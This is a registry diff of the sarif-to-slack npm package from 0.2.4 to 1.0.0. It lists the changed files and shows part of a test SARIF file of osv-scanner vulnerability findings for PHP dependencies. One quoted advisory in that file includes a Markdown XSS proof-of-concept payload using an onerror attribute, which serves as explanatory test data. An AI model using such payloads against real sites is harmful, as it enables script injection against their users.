@fabasoad/sarif-to-slack 0.2.4 → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (193) hide show
  1. package/.github/workflows/release.yml +1 -1
  2. package/.github/workflows/security.yml +0 -1
  3. package/.github/workflows/send-sarif-to-slack.yml +148 -76
  4. package/.gitleaksignore +8 -0
  5. package/.pre-commit-config.yaml +3 -3
  6. package/.tool-versions +1 -1
  7. package/dist/Logger.js +4 -1
  8. package/dist/SarifToSlackClient.d.ts +33 -0
  9. package/dist/SarifToSlackClient.d.ts.map +1 -0
  10. package/dist/SarifToSlackClient.js +178 -0
  11. package/dist/SlackMessageBuilder.js +34 -82
  12. package/dist/System.d.ts +2 -0
  13. package/dist/System.d.ts.map +1 -0
  14. package/dist/System.js +15 -0
  15. package/dist/index.cjs +843 -467
  16. package/dist/index.d.ts +35 -12
  17. package/dist/index.d.ts.map +1 -1
  18. package/dist/index.js +36 -12
  19. package/dist/model/Color.d.ts +70 -0
  20. package/dist/model/Color.d.ts.map +1 -0
  21. package/dist/model/Color.js +119 -0
  22. package/dist/model/Finding.d.ts +2 -0
  23. package/dist/model/Finding.d.ts.map +1 -0
  24. package/dist/model/Finding.js +93 -0
  25. package/dist/model/FindingsArray.d.ts +2 -0
  26. package/dist/model/FindingsArray.d.ts.map +1 -0
  27. package/dist/model/FindingsArray.js +24 -0
  28. package/dist/processors/CodeQLProcessor.d.ts +2 -0
  29. package/dist/processors/CodeQLProcessor.d.ts.map +1 -0
  30. package/dist/processors/CodeQLProcessor.js +17 -0
  31. package/dist/processors/CommonProcessor.d.ts +2 -0
  32. package/dist/processors/CommonProcessor.d.ts.map +1 -0
  33. package/dist/processors/CommonProcessor.js +84 -0
  34. package/dist/processors/ProcessorFactory.d.ts +2 -0
  35. package/dist/processors/ProcessorFactory.d.ts.map +1 -0
  36. package/dist/processors/ProcessorFactory.js +22 -0
  37. package/dist/processors/SnykProcessor.d.ts +2 -0
  38. package/dist/processors/SnykProcessor.d.ts.map +1 -0
  39. package/dist/processors/SnykProcessor.js +18 -0
  40. package/dist/representations/CompactGroupByRepresentation.d.ts +2 -0
  41. package/dist/representations/CompactGroupByRepresentation.d.ts.map +1 -0
  42. package/dist/representations/CompactGroupByRepresentation.js +58 -0
  43. package/dist/representations/CompactGroupByRunPerLevelRepresentation.d.ts +2 -0
  44. package/dist/representations/CompactGroupByRunPerLevelRepresentation.d.ts.map +1 -0
  45. package/dist/representations/CompactGroupByRunPerLevelRepresentation.js +13 -0
  46. package/dist/representations/CompactGroupByRunPerSeverityRepresentation.d.ts +2 -0
  47. package/dist/representations/CompactGroupByRunPerSeverityRepresentation.d.ts.map +1 -0
  48. package/dist/representations/CompactGroupByRunPerSeverityRepresentation.js +13 -0
  49. package/dist/representations/CompactGroupByRunRepresentation.d.ts +2 -0
  50. package/dist/representations/CompactGroupByRunRepresentation.d.ts.map +1 -0
  51. package/dist/representations/CompactGroupByRunRepresentation.js +39 -0
  52. package/dist/representations/CompactGroupBySarifPerLevelRepresentation.d.ts +2 -0
  53. package/dist/representations/CompactGroupBySarifPerLevelRepresentation.d.ts.map +1 -0
  54. package/dist/representations/CompactGroupBySarifPerLevelRepresentation.js +13 -0
  55. package/dist/representations/CompactGroupBySarifPerSeverityRepresentation.d.ts +2 -0
  56. package/dist/representations/CompactGroupBySarifPerSeverityRepresentation.d.ts.map +1 -0
  57. package/dist/representations/CompactGroupBySarifPerSeverityRepresentation.js +13 -0
  58. package/dist/representations/CompactGroupBySarifRepresentation.d.ts +2 -0
  59. package/dist/representations/CompactGroupBySarifRepresentation.d.ts.map +1 -0
  60. package/dist/representations/CompactGroupBySarifRepresentation.js +40 -0
  61. package/dist/representations/CompactGroupByToolNamePerLevelRepresentation.d.ts +2 -0
  62. package/dist/representations/CompactGroupByToolNamePerLevelRepresentation.d.ts.map +1 -0
  63. package/dist/representations/CompactGroupByToolNamePerLevelRepresentation.js +13 -0
  64. package/dist/representations/CompactGroupByToolNamePerSeverityRepresentation.d.ts +2 -0
  65. package/dist/representations/CompactGroupByToolNamePerSeverityRepresentation.d.ts.map +1 -0
  66. package/dist/representations/CompactGroupByToolNamePerSeverityRepresentation.js +13 -0
  67. package/dist/representations/CompactGroupByToolNameRepresentation.d.ts +2 -0
  68. package/dist/representations/CompactGroupByToolNameRepresentation.d.ts.map +1 -0
  69. package/dist/representations/CompactGroupByToolNameRepresentation.js +39 -0
  70. package/dist/representations/CompactTotalPerLevelRepresentation.d.ts +2 -0
  71. package/dist/representations/CompactTotalPerLevelRepresentation.d.ts.map +1 -0
  72. package/dist/representations/CompactTotalPerLevelRepresentation.js +13 -0
  73. package/dist/representations/CompactTotalPerSeverityRepresentation.d.ts +2 -0
  74. package/dist/representations/CompactTotalPerSeverityRepresentation.d.ts.map +1 -0
  75. package/dist/representations/CompactTotalPerSeverityRepresentation.js +13 -0
  76. package/dist/representations/CompactTotalRepresentation.d.ts +2 -0
  77. package/dist/representations/CompactTotalRepresentation.d.ts.map +1 -0
  78. package/dist/representations/CompactTotalRepresentation.js +25 -0
  79. package/dist/representations/Representation.d.ts +2 -0
  80. package/dist/representations/Representation.d.ts.map +1 -0
  81. package/dist/representations/Representation.js +28 -0
  82. package/dist/representations/RepresentationFactory.d.ts +2 -0
  83. package/dist/representations/RepresentationFactory.d.ts.map +1 -0
  84. package/dist/representations/RepresentationFactory.js +37 -0
  85. package/dist/sarif-to-slack.d.ts +337 -85
  86. package/dist/tsdoc-metadata.json +1 -1
  87. package/dist/types.d.ts +215 -51
  88. package/dist/types.d.ts.map +1 -1
  89. package/dist/types.js +225 -33
  90. package/dist/utils/Comparators.d.ts +2 -0
  91. package/dist/utils/Comparators.d.ts.map +1 -0
  92. package/dist/utils/Comparators.js +18 -0
  93. package/dist/utils/ExtendedArray.d.ts +2 -0
  94. package/dist/utils/ExtendedArray.d.ts.map +1 -0
  95. package/dist/utils/ExtendedArray.js +11 -0
  96. package/dist/utils/FileUtils.d.ts +2 -0
  97. package/dist/utils/FileUtils.d.ts.map +1 -0
  98. package/dist/utils/FileUtils.js +51 -0
  99. package/dist/utils/SarifUtils.js +19 -53
  100. package/etc/sarif-to-slack.api.md +161 -99
  101. package/jest.config.json +2 -2
  102. package/package.json +9 -9
  103. package/scripts/save-metadata.sh +15 -0
  104. package/src/Logger.ts +4 -0
  105. package/src/SarifToSlackClient.ts +202 -0
  106. package/src/SlackMessageBuilder.ts +35 -115
  107. package/src/System.ts +16 -0
  108. package/src/index.ts +47 -20
  109. package/src/model/Color.ts +201 -0
  110. package/src/model/Finding.ts +137 -0
  111. package/src/model/FindingsArray.ts +27 -0
  112. package/src/processors/CodeQLProcessor.ts +19 -0
  113. package/src/processors/CommonProcessor.ts +103 -0
  114. package/src/processors/ProcessorFactory.ts +23 -0
  115. package/src/processors/SnykProcessor.ts +19 -0
  116. package/src/representations/CompactGroupByRepresentation.ts +67 -0
  117. package/src/representations/CompactGroupByRunPerLevelRepresentation.ts +14 -0
  118. package/src/representations/CompactGroupByRunPerSeverityRepresentation.ts +14 -0
  119. package/src/representations/CompactGroupByRunRepresentation.ts +44 -0
  120. package/src/representations/CompactGroupBySarifPerLevelRepresentation.ts +15 -0
  121. package/src/representations/CompactGroupBySarifPerSeverityRepresentation.ts +15 -0
  122. package/src/representations/CompactGroupBySarifRepresentation.ts +45 -0
  123. package/src/representations/CompactGroupByToolNamePerLevelRepresentation.ts +15 -0
  124. package/src/representations/CompactGroupByToolNamePerSeverityRepresentation.ts +15 -0
  125. package/src/representations/CompactGroupByToolNameRepresentation.ts +44 -0
  126. package/src/representations/CompactTotalPerLevelRepresentation.ts +14 -0
  127. package/src/representations/CompactTotalPerSeverityRepresentation.ts +14 -0
  128. package/src/representations/CompactTotalRepresentation.ts +27 -0
  129. package/src/representations/Representation.ts +35 -0
  130. package/src/representations/RepresentationFactory.ts +49 -0
  131. package/src/types.ts +270 -53
  132. package/src/utils/Comparators.ts +19 -0
  133. package/src/utils/ExtendedArray.ts +11 -0
  134. package/src/utils/FileUtils.ts +60 -0
  135. package/src/utils/SarifUtils.ts +19 -71
  136. package/test-data/sarif/codeql-python.sarif +1448 -1
  137. package/test-data/sarif/codeql-typescript.sarif +3474 -1
  138. package/test-data/sarif/grype-github-actions.sarif +65 -0
  139. package/test-data/sarif/osv-scanner-composer.sarif +972 -0
  140. package/test-data/sarif/osv-scanner-container.sarif +2278 -0
  141. package/test-data/sarif/osv-scanner-gomodules.sarif +813 -0
  142. package/test-data/sarif/osv-scanner-hex.sarif +147 -0
  143. package/test-data/sarif/osv-scanner-maven.sarif +171 -0
  144. package/test-data/sarif/osv-scanner-npm.sarif +627 -0
  145. package/test-data/sarif/osv-scanner-pip.sarif +206 -0
  146. package/test-data/sarif/osv-scanner-pipenv.sarif +243 -0
  147. package/test-data/sarif/osv-scanner-pnpm.sarif +174 -0
  148. package/test-data/sarif/osv-scanner-poetry.sarif +1893 -0
  149. package/test-data/sarif/osv-scanner-rubygems.sarif +402 -0
  150. package/test-data/sarif/osv-scanner-uv.sarif +206 -0
  151. package/test-data/sarif/osv-scanner-yarn.sarif +5207 -0
  152. package/test-data/sarif/runs-0.sarif +5 -0
  153. package/test-data/sarif/runs-2-tools-2-results-0.sarif +1 -1
  154. package/test-data/sarif/runs-2-tools-2.sarif +1 -1
  155. package/test-data/sarif/runs-3-tools-2-results-0.sarif +1 -1
  156. package/test-data/sarif/runs-3-tools-2.sarif +1 -1
  157. package/test-data/sarif/tmp/codeql-csharp.sarif +1 -0
  158. package/test-data/sarif/tmp/grype-container.sarif +1774 -0
  159. package/test-data/sarif/tmp/runs-1-tools-1-results-0.sarif +18 -0
  160. package/test-data/sarif/tmp/runs-2-tools-2.sarif +686 -0
  161. package/test-data/sarif/trivy-iac.sarif +1 -1
  162. package/tests/integration/SendSarifToSlack.spec.ts +95 -27
  163. package/tsconfig.json +2 -0
  164. package/dist/Processors.d.ts +0 -2
  165. package/dist/Processors.d.ts.map +0 -1
  166. package/dist/Processors.js +0 -61
  167. package/dist/SarifToSlackService.d.ts +0 -39
  168. package/dist/SarifToSlackService.d.ts.map +0 -1
  169. package/dist/SarifToSlackService.js +0 -102
  170. package/dist/model/SarifModelPerRun.d.ts +0 -2
  171. package/dist/model/SarifModelPerRun.d.ts.map +0 -1
  172. package/dist/model/SarifModelPerRun.js +0 -90
  173. package/dist/model/SarifModelPerSarif.d.ts +0 -2
  174. package/dist/model/SarifModelPerSarif.d.ts.map +0 -1
  175. package/dist/model/SarifModelPerSarif.js +0 -102
  176. package/dist/model/types.d.ts +0 -2
  177. package/dist/model/types.d.ts.map +0 -1
  178. package/dist/model/types.js +0 -49
  179. package/dist/utils/SortUtils.d.ts +0 -2
  180. package/dist/utils/SortUtils.d.ts.map +0 -1
  181. package/dist/utils/SortUtils.js +0 -20
  182. package/dist/version.d.ts +0 -2
  183. package/dist/version.d.ts.map +0 -1
  184. package/dist/version.js +0 -11
  185. package/scripts/save-version.sh +0 -13
  186. package/src/Processors.ts +0 -68
  187. package/src/SarifToSlackService.ts +0 -115
  188. package/src/model/SarifModelPerRun.ts +0 -123
  189. package/src/model/SarifModelPerSarif.ts +0 -126
  190. package/src/model/types.ts +0 -50
  191. package/src/utils/SortUtils.ts +0 -33
  192. package/src/version.ts +0 -10
  193. package/tests/Processors.spec.ts +0 -76
@@ -0,0 +1,972 @@
1
+ {
2
+ "$schema": "https://raw.githubusercontent.com/oasis-tcs/sarif-spec/main/sarif-2.1/schema/sarif-schema-2.1.0.json",
3
+ "version": "2.1.0",
4
+ "runs": [
5
+ {
6
+ "addresses": [],
7
+ "artifacts": [
8
+ {
9
+ "length": -1,
10
+ "location": {
11
+ "index": -1,
12
+ "uri": "file:///Users/john.doe/projects/php/composer/composer.lock"
13
+ },
14
+ "parentIndex": -1,
15
+ "roles": []
16
+ }
17
+ ],
18
+ "graphs": [],
19
+ "invocations": [],
20
+ "language": "en-US",
21
+ "logicalLocations": [],
22
+ "newlineSequences": [
23
+ "\r\n",
24
+ "\n"
25
+ ],
26
+ "policies": [],
27
+ "redactionTokens": [],
28
+ "results": [
29
+ {
30
+ "attachments": [],
31
+ "codeFlows": [],
32
+ "fixes": [],
33
+ "graphTraversals": [],
34
+ "graphs": [],
35
+ "kind": "fail",
36
+ "level": "warning",
37
+ "locations": [
38
+ {
39
+ "annotations": [],
40
+ "id": -1,
41
+ "logicalLocations": [],
42
+ "physicalLocation": {
43
+ "artifactLocation": {
44
+ "index": -1,
45
+ "uri": "file:///Users/john.doe/projects/php/composer/composer.lock"
46
+ }
47
+ },
48
+ "relationships": []
49
+ }
50
+ ],
51
+ "message": {
52
+ "arguments": [],
53
+ "text": "Package 'league/commonmark@ad51c7ca' is vulnerable to 'CVE-2025-46734' (also known as 'GHSA-3527-qv2q-pfvx')."
54
+ },
55
+ "rank": -1,
56
+ "relatedLocations": [],
57
+ "ruleId": "CVE-2025-46734",
58
+ "ruleIndex": 0,
59
+ "stacks": [],
60
+ "taxa": []
61
+ },
62
+ {
63
+ "attachments": [],
64
+ "codeFlows": [],
65
+ "fixes": [],
66
+ "graphTraversals": [],
67
+ "graphs": [],
68
+ "kind": "fail",
69
+ "level": "warning",
70
+ "locations": [
71
+ {
72
+ "annotations": [],
73
+ "id": -1,
74
+ "logicalLocations": [],
75
+ "physicalLocation": {
76
+ "artifactLocation": {
77
+ "index": -1,
78
+ "uri": "file:///Users/john.doe/projects/php/composer/composer.lock"
79
+ }
80
+ },
81
+ "relationships": []
82
+ }
83
+ ],
84
+ "message": {
85
+ "arguments": [],
86
+ "text": "Package 'dompdf/dompdf@60b70433' is vulnerable to 'CVE-2023-23924' (also known as 'GHSA-3cw5-7cxw-v5qg')."
87
+ },
88
+ "rank": -1,
89
+ "relatedLocations": [],
90
+ "ruleId": "CVE-2023-23924",
91
+ "ruleIndex": 1,
92
+ "stacks": [],
93
+ "taxa": []
94
+ },
95
+ {
96
+ "attachments": [],
97
+ "codeFlows": [],
98
+ "fixes": [],
99
+ "graphTraversals": [],
100
+ "graphs": [],
101
+ "kind": "fail",
102
+ "level": "warning",
103
+ "locations": [
104
+ {
105
+ "annotations": [],
106
+ "id": -1,
107
+ "logicalLocations": [],
108
+ "physicalLocation": {
109
+ "artifactLocation": {
110
+ "index": -1,
111
+ "uri": "file:///Users/john.doe/projects/php/composer/composer.lock"
112
+ }
113
+ },
114
+ "relationships": []
115
+ }
116
+ ],
117
+ "message": {
118
+ "arguments": [],
119
+ "text": "Package 'dompdf/dompdf@60b70433' is vulnerable to 'CVE-2023-50262' (also known as 'GHSA-3qx2-6f78-w2j2')."
120
+ },
121
+ "rank": -1,
122
+ "relatedLocations": [],
123
+ "ruleId": "CVE-2023-50262",
124
+ "ruleIndex": 2,
125
+ "stacks": [],
126
+ "taxa": []
127
+ },
128
+ {
129
+ "attachments": [],
130
+ "codeFlows": [],
131
+ "fixes": [],
132
+ "graphTraversals": [],
133
+ "graphs": [],
134
+ "kind": "fail",
135
+ "level": "warning",
136
+ "locations": [
137
+ {
138
+ "annotations": [],
139
+ "id": -1,
140
+ "logicalLocations": [],
141
+ "physicalLocation": {
142
+ "artifactLocation": {
143
+ "index": -1,
144
+ "uri": "file:///Users/john.doe/projects/php/composer/composer.lock"
145
+ }
146
+ },
147
+ "relationships": []
148
+ }
149
+ ],
150
+ "message": {
151
+ "arguments": [],
152
+ "text": "Package 'league/commonmark@ad51c7ca' is vulnerable to 'CVE-2019-10010' (also known as 'GHSA-3v43-877x-qgmq')."
153
+ },
154
+ "rank": -1,
155
+ "relatedLocations": [],
156
+ "ruleId": "CVE-2019-10010",
157
+ "ruleIndex": 3,
158
+ "stacks": [],
159
+ "taxa": []
160
+ },
161
+ {
162
+ "attachments": [],
163
+ "codeFlows": [],
164
+ "fixes": [],
165
+ "graphTraversals": [],
166
+ "graphs": [],
167
+ "kind": "fail",
168
+ "level": "warning",
169
+ "locations": [
170
+ {
171
+ "annotations": [],
172
+ "id": -1,
173
+ "logicalLocations": [],
174
+ "physicalLocation": {
175
+ "artifactLocation": {
176
+ "index": -1,
177
+ "uri": "file:///Users/john.doe/projects/php/composer/composer.lock"
178
+ }
179
+ },
180
+ "relationships": []
181
+ }
182
+ ],
183
+ "message": {
184
+ "arguments": [],
185
+ "text": "Package 'dompdf/dompdf@60b70433' is vulnerable to 'CVE-2021-3902' (also known as 'GHSA-3vjh-xrhf-v9xh')."
186
+ },
187
+ "rank": -1,
188
+ "relatedLocations": [],
189
+ "ruleId": "CVE-2021-3902",
190
+ "ruleIndex": 4,
191
+ "stacks": [],
192
+ "taxa": []
193
+ },
194
+ {
195
+ "attachments": [],
196
+ "codeFlows": [],
197
+ "fixes": [],
198
+ "graphTraversals": [],
199
+ "graphs": [],
200
+ "kind": "fail",
201
+ "level": "warning",
202
+ "locations": [
203
+ {
204
+ "annotations": [],
205
+ "id": -1,
206
+ "logicalLocations": [],
207
+ "physicalLocation": {
208
+ "artifactLocation": {
209
+ "index": -1,
210
+ "uri": "file:///Users/john.doe/projects/php/composer/composer.lock"
211
+ }
212
+ },
213
+ "relationships": []
214
+ }
215
+ ],
216
+ "message": {
217
+ "arguments": [],
218
+ "text": "Package 'dompdf/dompdf@60b70433' is vulnerable to 'CVE-2021-3838' (also known as 'GHSA-577p-7j7h-2jgf')."
219
+ },
220
+ "rank": -1,
221
+ "relatedLocations": [],
222
+ "ruleId": "CVE-2021-3838",
223
+ "ruleIndex": 5,
224
+ "stacks": [],
225
+ "taxa": []
226
+ },
227
+ {
228
+ "attachments": [],
229
+ "codeFlows": [],
230
+ "fixes": [],
231
+ "graphTraversals": [],
232
+ "graphs": [],
233
+ "kind": "fail",
234
+ "level": "warning",
235
+ "locations": [
236
+ {
237
+ "annotations": [],
238
+ "id": -1,
239
+ "logicalLocations": [],
240
+ "physicalLocation": {
241
+ "artifactLocation": {
242
+ "index": -1,
243
+ "uri": "file:///Users/john.doe/projects/php/composer/composer.lock"
244
+ }
245
+ },
246
+ "relationships": []
247
+ }
248
+ ],
249
+ "message": {
250
+ "arguments": [],
251
+ "text": "Package 'dompdf/dompdf@60b70433' is vulnerable to 'CVE-2022-2400' (also known as 'GHSA-5qj8-6xxj-hp9h')."
252
+ },
253
+ "rank": -1,
254
+ "relatedLocations": [],
255
+ "ruleId": "CVE-2022-2400",
256
+ "ruleIndex": 6,
257
+ "stacks": [],
258
+ "taxa": []
259
+ },
260
+ {
261
+ "attachments": [],
262
+ "codeFlows": [],
263
+ "fixes": [],
264
+ "graphTraversals": [],
265
+ "graphs": [],
266
+ "kind": "fail",
267
+ "level": "warning",
268
+ "locations": [
269
+ {
270
+ "annotations": [],
271
+ "id": -1,
272
+ "logicalLocations": [],
273
+ "physicalLocation": {
274
+ "artifactLocation": {
275
+ "index": -1,
276
+ "uri": "file:///Users/john.doe/projects/php/composer/composer.lock"
277
+ }
278
+ },
279
+ "relationships": []
280
+ }
281
+ ],
282
+ "message": {
283
+ "arguments": [],
284
+ "text": "Package 'dompdf/dompdf@60b70433' is vulnerable to 'CVE-2022-41343' (also known as 'GHSA-6x28-7h8c-chx4')."
285
+ },
286
+ "rank": -1,
287
+ "relatedLocations": [],
288
+ "ruleId": "CVE-2022-41343",
289
+ "ruleIndex": 7,
290
+ "stacks": [],
291
+ "taxa": []
292
+ },
293
+ {
294
+ "attachments": [],
295
+ "codeFlows": [],
296
+ "fixes": [],
297
+ "graphTraversals": [],
298
+ "graphs": [],
299
+ "kind": "fail",
300
+ "level": "warning",
301
+ "locations": [
302
+ {
303
+ "annotations": [],
304
+ "id": -1,
305
+ "logicalLocations": [],
306
+ "physicalLocation": {
307
+ "artifactLocation": {
308
+ "index": -1,
309
+ "uri": "file:///Users/john.doe/projects/php/composer/composer.lock"
310
+ }
311
+ },
312
+ "relationships": []
313
+ }
314
+ ],
315
+ "message": {
316
+ "arguments": [],
317
+ "text": "Package 'phpmailer/phpmailer@9256f12d' is vulnerable to 'CVE-2021-3603' (also known as 'BIT-phpmailer-2021-3603', 'GHSA-77mr-wc79-m8j3')."
318
+ },
319
+ "rank": -1,
320
+ "relatedLocations": [],
321
+ "ruleId": "CVE-2021-3603",
322
+ "ruleIndex": 8,
323
+ "stacks": [],
324
+ "taxa": []
325
+ },
326
+ {
327
+ "attachments": [],
328
+ "codeFlows": [],
329
+ "fixes": [],
330
+ "graphTraversals": [],
331
+ "graphs": [],
332
+ "kind": "fail",
333
+ "level": "warning",
334
+ "locations": [
335
+ {
336
+ "annotations": [],
337
+ "id": -1,
338
+ "logicalLocations": [],
339
+ "physicalLocation": {
340
+ "artifactLocation": {
341
+ "index": -1,
342
+ "uri": "file:///Users/john.doe/projects/php/composer/composer.lock"
343
+ }
344
+ },
345
+ "relationships": []
346
+ }
347
+ ],
348
+ "message": {
349
+ "arguments": [],
350
+ "text": "Package 'phpmailer/phpmailer@9256f12d' is vulnerable to 'CVE-2021-34551' (also known as 'BIT-phpmailer-2021-34551', 'GHSA-7q44-r25x-wm4q')."
351
+ },
352
+ "rank": -1,
353
+ "relatedLocations": [],
354
+ "ruleId": "CVE-2021-34551",
355
+ "ruleIndex": 9,
356
+ "stacks": [],
357
+ "taxa": []
358
+ },
359
+ {
360
+ "attachments": [],
361
+ "codeFlows": [],
362
+ "fixes": [],
363
+ "graphTraversals": [],
364
+ "graphs": [],
365
+ "kind": "fail",
366
+ "level": "warning",
367
+ "locations": [
368
+ {
369
+ "annotations": [],
370
+ "id": -1,
371
+ "logicalLocations": [],
372
+ "physicalLocation": {
373
+ "artifactLocation": {
374
+ "index": -1,
375
+ "uri": "file:///Users/john.doe/projects/php/composer/composer.lock"
376
+ }
377
+ },
378
+ "relationships": []
379
+ }
380
+ ],
381
+ "message": {
382
+ "arguments": [],
383
+ "text": "Package 'phenx/php-svg-lib@4498b5df' is vulnerable to 'GHSA-97m3-52wr-xvv2'."
384
+ },
385
+ "rank": -1,
386
+ "relatedLocations": [],
387
+ "ruleId": "GHSA-97m3-52wr-xvv2",
388
+ "ruleIndex": 10,
389
+ "stacks": [],
390
+ "taxa": []
391
+ },
392
+ {
393
+ "attachments": [],
394
+ "codeFlows": [],
395
+ "fixes": [],
396
+ "graphTraversals": [],
397
+ "graphs": [],
398
+ "kind": "fail",
399
+ "level": "warning",
400
+ "locations": [
401
+ {
402
+ "annotations": [],
403
+ "id": -1,
404
+ "logicalLocations": [],
405
+ "physicalLocation": {
406
+ "artifactLocation": {
407
+ "index": -1,
408
+ "uri": "file:///Users/john.doe/projects/php/composer/composer.lock"
409
+ }
410
+ },
411
+ "relationships": []
412
+ }
413
+ ],
414
+ "message": {
415
+ "arguments": [],
416
+ "text": "Package 'league/commonmark@ad51c7ca' is vulnerable to 'GHSA-c2pc-g5qf-rfrf'."
417
+ },
418
+ "rank": -1,
419
+ "relatedLocations": [],
420
+ "ruleId": "GHSA-c2pc-g5qf-rfrf",
421
+ "ruleIndex": 11,
422
+ "stacks": [],
423
+ "taxa": []
424
+ },
425
+ {
426
+ "attachments": [],
427
+ "codeFlows": [],
428
+ "fixes": [],
429
+ "graphTraversals": [],
430
+ "graphs": [],
431
+ "kind": "fail",
432
+ "level": "warning",
433
+ "locations": [
434
+ {
435
+ "annotations": [],
436
+ "id": -1,
437
+ "logicalLocations": [],
438
+ "physicalLocation": {
439
+ "artifactLocation": {
440
+ "index": -1,
441
+ "uri": "file:///Users/john.doe/projects/php/composer/composer.lock"
442
+ }
443
+ },
444
+ "relationships": []
445
+ }
446
+ ],
447
+ "message": {
448
+ "arguments": [],
449
+ "text": "Package 'phenx/php-svg-lib@4498b5df' is vulnerable to 'CVE-2024-25117' (also known as 'GHSA-f3qr-qr4x-j273')."
450
+ },
451
+ "rank": -1,
452
+ "relatedLocations": [],
453
+ "ruleId": "CVE-2024-25117",
454
+ "ruleIndex": 12,
455
+ "stacks": [],
456
+ "taxa": []
457
+ },
458
+ {
459
+ "attachments": [],
460
+ "codeFlows": [],
461
+ "fixes": [],
462
+ "graphTraversals": [],
463
+ "graphs": [],
464
+ "kind": "fail",
465
+ "level": "warning",
466
+ "locations": [
467
+ {
468
+ "annotations": [],
469
+ "id": -1,
470
+ "logicalLocations": [],
471
+ "physicalLocation": {
472
+ "artifactLocation": {
473
+ "index": -1,
474
+ "uri": "file:///Users/john.doe/projects/php/composer/composer.lock"
475
+ }
476
+ },
477
+ "relationships": []
478
+ }
479
+ ],
480
+ "message": {
481
+ "arguments": [],
482
+ "text": "Package 'phenx/php-svg-lib@4498b5df' is vulnerable to 'CVE-2023-50251' (also known as 'GHSA-ff5x-7qg5-vwf2')."
483
+ },
484
+ "rank": -1,
485
+ "relatedLocations": [],
486
+ "ruleId": "CVE-2023-50251",
487
+ "ruleIndex": 13,
488
+ "stacks": [],
489
+ "taxa": []
490
+ },
491
+ {
492
+ "attachments": [],
493
+ "codeFlows": [],
494
+ "fixes": [],
495
+ "graphTraversals": [],
496
+ "graphs": [],
497
+ "kind": "fail",
498
+ "level": "warning",
499
+ "locations": [
500
+ {
501
+ "annotations": [],
502
+ "id": -1,
503
+ "logicalLocations": [],
504
+ "physicalLocation": {
505
+ "artifactLocation": {
506
+ "index": -1,
507
+ "uri": "file:///Users/john.doe/projects/php/composer/composer.lock"
508
+ }
509
+ },
510
+ "relationships": []
511
+ }
512
+ ],
513
+ "message": {
514
+ "arguments": [],
515
+ "text": "Package 'dompdf/dompdf@60b70433' is vulnerable to 'CVE-2022-0085' (also known as 'GHSA-pf6p-25r2-fx45')."
516
+ },
517
+ "rank": -1,
518
+ "relatedLocations": [],
519
+ "ruleId": "CVE-2022-0085",
520
+ "ruleIndex": 14,
521
+ "stacks": [],
522
+ "taxa": []
523
+ },
524
+ {
525
+ "attachments": [],
526
+ "codeFlows": [],
527
+ "fixes": [],
528
+ "graphTraversals": [],
529
+ "graphs": [],
530
+ "kind": "fail",
531
+ "level": "warning",
532
+ "locations": [
533
+ {
534
+ "annotations": [],
535
+ "id": -1,
536
+ "logicalLocations": [],
537
+ "physicalLocation": {
538
+ "artifactLocation": {
539
+ "index": -1,
540
+ "uri": "file:///Users/john.doe/projects/php/composer/composer.lock"
541
+ }
542
+ },
543
+ "relationships": []
544
+ }
545
+ ],
546
+ "message": {
547
+ "arguments": [],
548
+ "text": "Package 'dompdf/dompdf@60b70433' is vulnerable to 'CVE-2022-28368' (also known as 'GHSA-x752-qjv4-c4hc')."
549
+ },
550
+ "rank": -1,
551
+ "relatedLocations": [],
552
+ "ruleId": "CVE-2022-28368",
553
+ "ruleIndex": 15,
554
+ "stacks": [],
555
+ "taxa": []
556
+ }
557
+ ],
558
+ "runAggregates": [],
559
+ "taxonomies": [],
560
+ "threadFlowLocations": [],
561
+ "tool": {
562
+ "driver": {
563
+ "contents": [
564
+ "localizedData",
565
+ "nonLocalizedData"
566
+ ],
567
+ "informationUri": "https://github.com/google/osv-scanner",
568
+ "isComprehensive": false,
569
+ "language": "en-US",
570
+ "locations": [],
571
+ "name": "osv-scanner",
572
+ "notifications": [],
573
+ "rules": [
574
+ {
575
+ "deprecatedIds": [
576
+ "CVE-2025-46734",
577
+ "GHSA-3527-qv2q-pfvx"
578
+ ],
579
+ "fullDescription": {
580
+ "markdown": "### Summary\nCross-site scripting (XSS) vulnerability in the [Attributes extension](https://commonmark.thephpleague.com/extensions/attributes/) of the league/commonmark library (versions 1.5.0 through 2.6.x) allows remote attackers to insert malicious JavaScript calls into HTML.\n\n### Details\n\nThe league/commonmark library provides configuration options such as `html_input: 'strip'` and `allow_unsafe_links: false` to mitigate cross-site scripting (XSS) attacks by stripping raw HTML and disallowing unsafe links. However, when the Attributes Extension is enabled, it introduces a way for users to inject arbitrary HTML attributes into elements via Markdown syntax using curly braces.\n\nAs a result, even with the secure configuration shown above, an attacker can inject dangerous attributes into applications using this extension via a payload such as:\n\n```md\n![](){onerror=alert(1)}\n```\n\nWhich results in the following HTML:\n\n```html\n\u003cp\u003e\u003cimg onerror=\"alert(1)\" src=\"\" alt=\"\" /\u003e\u003c/p\u003e\n```\n\nWhich causes the JS to execute immediately on page load.\n\n### Patches\n\nVersion 2.7.0 contains three changes to prevent this XSS attack vector:\n\n- All attributes starting with `on` are considered unsafe and blocked by default\n- [Support for an explicit allowlist of allowed HTML attributes](https://commonmark.thephpleague.com/2.7/extensions/attributes/#configuration)\n- Manually-added `href` and `src` attributes now respect the existing `allow_unsafe_links` configuration option\n\n### Workarounds\n\nIf upgrading is not feasible, please consider:\n\n- Disabling the `AttributesExtension` for untrusted users\n- [Filtering the rendered HTML through a library like HTMLPurifier](https://commonmark.thephpleague.com/security/#additional-filtering)",
581
+ "text": "### Summary\nCross-site scripting (XSS) vulnerability in the [Attributes extension](https://commonmark.thephpleague.com/extensions/attributes/) of the league/commonmark library (versions 1.5.0 through 2.6.x) allows remote attackers to insert malicious JavaScript calls into HTML.\n\n### Details\n\nThe league/commonmark library provides configuration options such as `html_input: 'strip'` and `allow_unsafe_links: false` to mitigate cross-site scripting (XSS) attacks by stripping raw HTML and disallowing unsafe links. However, when the Attributes Extension is enabled, it introduces a way for users to inject arbitrary HTML attributes into elements via Markdown syntax using curly braces.\n\nAs a result, even with the secure configuration shown above, an attacker can inject dangerous attributes into applications using this extension via a payload such as:\n\n```md\n![](){onerror=alert(1)}\n```\n\nWhich results in the following HTML:\n\n```html\n\u003cp\u003e\u003cimg onerror=\"alert(1)\" src=\"\" alt=\"\" /\u003e\u003c/p\u003e\n```\n\nWhich causes the JS to execute immediately on page load.\n\n### Patches\n\nVersion 2.7.0 contains three changes to prevent this XSS attack vector:\n\n- All attributes starting with `on` are considered unsafe and blocked by default\n- [Support for an explicit allowlist of allowed 